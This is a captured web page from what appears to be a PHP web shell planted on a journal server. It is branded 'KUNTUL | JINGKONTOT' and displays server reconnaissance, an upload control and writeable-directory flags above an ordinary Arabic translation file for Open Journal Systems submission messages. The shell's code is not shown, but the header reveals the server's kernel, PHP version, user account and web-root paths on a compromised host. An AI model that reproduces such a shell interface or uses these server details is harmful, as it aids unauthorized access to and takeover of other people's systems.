KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/ar_IQ/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/ar_IQ/submission.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-11-19T10:49:16+00:00\n"
"PO-Revision-Date: 2020-11-06 09:25+0000\n"
"Last-Translator: M. Ali <[email protected]>\n"
"Language-Team: Arabic <http://translate.pkp.sfu.ca/projects/ojs/submission/"
"ar_IQ/>\n"
"Language: ar_IQ\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=6; plural=n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 "
"&& n%100<=10 ? 3 : n%100>=11 ? 4 : 5;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "submission.submit.title"
msgstr "قدم طلباً للنشر"

msgid "submission.submit.userGroup"
msgstr "قدم طلباً بصفتي..."

msgid "submission.submit.userGroupDescription"
msgstr "إختر بأية صفة تقوم بتقديم طلبك هذا."

msgid "submission.upload.selectComponent"
msgstr "إختر مكون المؤلَّف..."

msgid "submission.title"
msgstr "عنوان المؤلَّف"

msgid "submission.title.tip"
msgstr "نوع التقديم عادة ما يكون واحداً من: صورة، نص، أو غيرهما من متعددات الوسائط التي بضمنها: البرامجات أو الملفات التفاعلية. لطفاً، إختر ما تجده أنسبها لطلبك. أمثلة ذلك قد تجدها في <a target=\"_blank\" href=\"http://dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type\">http://dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type</a>"

msgid "submission.submit.newSubmissionMultiple"
msgstr "إبدأ طلباً جديداً في"

msgid "submission.submit.newSubmissionSingle"
msgstr "طلب جديد"

msgid "grid.action.workflow"
msgstr "المخطط الانسيابي للطلب"

msgid "submission.abstract.wordCount.description"
msgstr "الملخص لا بد أن يكون من {$wordCount} كلمة أو أقل."

msgid "submission.submit.noContext"
msgstr "تعذر العثور على المجلة الموجه إليها طلب التقديم هذا."

msgid "submission.issueEntry"
msgstr "البيانات الوصفية"

msgid "submission.submit.whatNext.description"
msgstr "لقد تم إشعار المجلة بشأن طلبك هذا، وقد تمت مراسلتك لتأكيد بياناتك. بمجرد أن يراجع المحرر طلبك، سيقوم بالاتصال بك."

msgid "grid.action.galleyInIssueEntry"
msgstr "اللوح الطباعي يظهر في مقدمة العدد"

msgid "grid.action.issueEntry"
msgstr "راجع البيانات الوصفية لطلب النشر هذا"

msgid "submission.event.articleGalleyMadeAvailable"
msgstr "إن اللوح الطباعي للمؤَّلف \"{$galleyFormatName}\" قد صار جاهزاً."

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr "اللوح الطباعي للمؤَّلف \"{$galleyFormatName}\" لم يعد جاهزاً."

msgid "submission.event.publicIdentifiers"
msgstr "قد تم تحديث معرفات النشر لهذا المؤلَّف."

msgid "grid.issueEntry.availableGalley.title"
msgstr "مصادقة التنسيق"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr "<p>هذا اللوح الطباعي <em>لن يعود متاحاً</em> للقراء.</p>"

msgid "grid.issueEntry.availableGalley.message"
msgstr "<p>هذا اللوح الطباعي <em>سيكون متاحاً</em> للقراء.</p>"

msgid "grid.action.availableArticleGalley"
msgstr "إجعل هذا اللوح الطباعي متاحاً"

msgid "submission.galleyFiles"
msgstr "ملفات اللوح الطباعي"

msgid "submission.proofReadingDescription"
msgstr "يقوم المصمم الطباعي برفع الملفات الجاهزة المعدة للنشر هنا. استعمل <em>عيِّن مدققاً</em> ليقوم بدعوة المؤلفين وغيرهم للمساهمة في القراءة التصحيحية لتكون الملفات المصححة مرفوعة للمصادقة قبل النشر."

msgid "grid.action.approveProof"
msgstr "صادق على هذه التصحيحات ليتم تضمينها في اللوح الطباعي."

msgid "grid.action.pageProofApproved"
msgstr "تمت المصادقة على التصحيحات ليتم تضمينها في اللوح الطباعي."

msgid "submission.submit.titleAndSummary"
msgstr "العنوان والملخص"

msgid "submission.submit.upload.description"
msgstr "إرفع الملفات ذات الصلة بطلب النشر هذا، بضمنها الملف الرئيسي للمؤلَّف، ملفات متعددة الوسائط، جداول البيانات، النماذج الفنية... إلخ."

msgid "submission.pageProofs"
msgstr "القراءة التصحيحية"

msgid "submission.confirmSubmit"
msgstr "هل أنت متأكد من رغبتك في تقديم طلب النشر هذا إلى المجلة؟"

msgid "workflow.review.externalReview"
msgstr "التحكيم"

msgid "editor.submission.decision.sendExternalReview"
msgstr "أرسله للتحكيم"

msgid "submission.event.issueMetadataUpdated"
msgstr "قد تم تحديث البيانات الوصفية للعدد."

msgid "submission.upload.fileContents"
msgstr "مكون المقالة"

msgid "submission.complete"
msgstr "مصادق عليه"

msgid "submission.incomplete"
msgstr "ينتظر المصادقة"

msgid "submission.submit.form.localeRequired"
msgstr "لطفاً، إختر اللغة التي كُتب بها المؤلَّف."

msgid "submission.submit.submissionChecklist"
msgstr "قائمة إجراءات طلب النشر"

msgid "submission.submit.submissionChecklistDescription"
msgstr "عليك أن تقرأ المتطلبات أدناه وتعترف بها قبل المتابعة."

msgid "submission.submit.privacyStatement"
msgstr "بيان الخصوصية"

msgid "submission.submit.contributorRole"
msgstr "دور المساهمين"

msgid "submission.submit.form.authorRequired"
msgstr "أذكر مؤلفاً واحداً على الأقل لهذا الطلب."

msgid "submission.submit.form.authorRequiredFields"
msgstr "الاسم الأول، الاسم الأخير وعنوان البريد الالكتروني لكل مؤلف معلومات مطلوبة حتماً."

msgid "submission.submit.form.titleRequired"
msgstr "لطفاً، أذكر عنوان مؤلَّفك هذا."

msgid "submission.submit.form.abstractRequired"
msgstr "لطفاً، أعطنا ملخصاً عن المؤلَّف."

msgid "submission.submit.form.wordCountAlert"
msgstr "إن ملخصك طويل جداً. لطفاً، حاول إختزاله ليصير ضمن محدد عدد الكلمات الخاص بهذا القسم."

msgid "submission.submit.form.contributorRoleRequired"
msgstr "لطفاً، إختر دور المساهم."

msgid "submission.citationFormat.notFound"
msgstr "تعذر استرجاع صيغة الاقتباس التي تم طلبها."

msgid "submission.metadataDescription"
msgstr "هذه المواصفات مستندة إلى جدول البيانات الوصفية Dublin Core، وهو صيغة قياسية عالمية تستعمل لوصف محتويات المجلة."

msgid "section.any"
msgstr "أي قسم"

msgid "submission.sectionOptions"
msgstr "خيارات القسم"

msgid "catalog.browseTitles"
msgstr "{$numTitles} فقرة/فقرات"

msgid "catalog.category.heading"
msgstr "كل الفقرات"

msgid "galley.editPublishedDisabled"
msgstr "تعذر تعديل الألواح الطباعية لهذه المقالة لأنها سبق وأن تم نشرها."

msgid "galley.publicationNotFound"
msgstr "تعذر العثور على المنشور المتعلق بهذه الألواح الطباعية."

msgid "publication.datePublished.description"
msgstr "سيتم ضبط تأريخ النشر تلقائياً عند إطلاق العدد. لا تقم بإدخال تأريخ للنشر إلا إذا كانت المقالة سبق وأن نُشرت في موضع آخر وتريد توثيق تأريخ نشرها الحقيقي."

msgid "publication.invalidSection"
msgstr "تعذر العثور على القسم المتعلق بهذا المنشور."

msgid "publication.invalidIssue"
msgstr "تعذر العثور على العدد المتعلق بهذا المنشور."

msgid "publication.issue.success"
msgstr "تفاصيل نشر العدد قد تم تحديثها."

msgid "publication.publish.confirmation"
msgstr "كل متطلبات النشر ملباة. هل أنت متأكد من رغبتك في النشر؟"

msgid "publication.publish.confirmation.futureIssue"
msgstr "كل متطلبات النشر ملباة. سيتم النشر عند إطلاق {$issue}. هل أنت متأكد من رغبتك في جدولة هذه الفقرة للنشر؟"

msgid "publication.publish.confirmation.backIssue"
msgstr "كل متطلبات النشر ملباة. سيتم النشر حالاً ضمن {$issue}. هل أنت متأكد من رغبتك في النشر؟"

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr "كل متطلبات النشر ملباة. سيتم النشر حالاً لأن تأريخ النشر قد سبق تعيينه ليكون في {$datePublished}. هل أنت متأكد من رغبتك في النشر؟"

msgid "publication.required.issue"
msgstr "لا بد من تعيين هذه المقالة إلى عدد ما قبل نشرها."

msgid "publication.publishedIn"
msgstr "منشور في <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.scheduledIn"
msgstr "مجدول للنشر في <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.unscheduledIn"
msgstr "لم تسبق جدولته للنشر ضمن أي عدد بعد."

msgid "publication.scheduleInissue"
msgstr "التعيين للنشر ضمن عدد"

msgid "publication.selectIssue"
msgstr "إختر أحد الأعداد لجدولته للنشر"

msgid "submission.viewingPreview"
msgstr ""
"هذه معاينة استعراضية ولم يتم نشرها بعد. <a href=\"{$url}\">View "
"submission</a>"

KUNTUL | JINGKONTOT |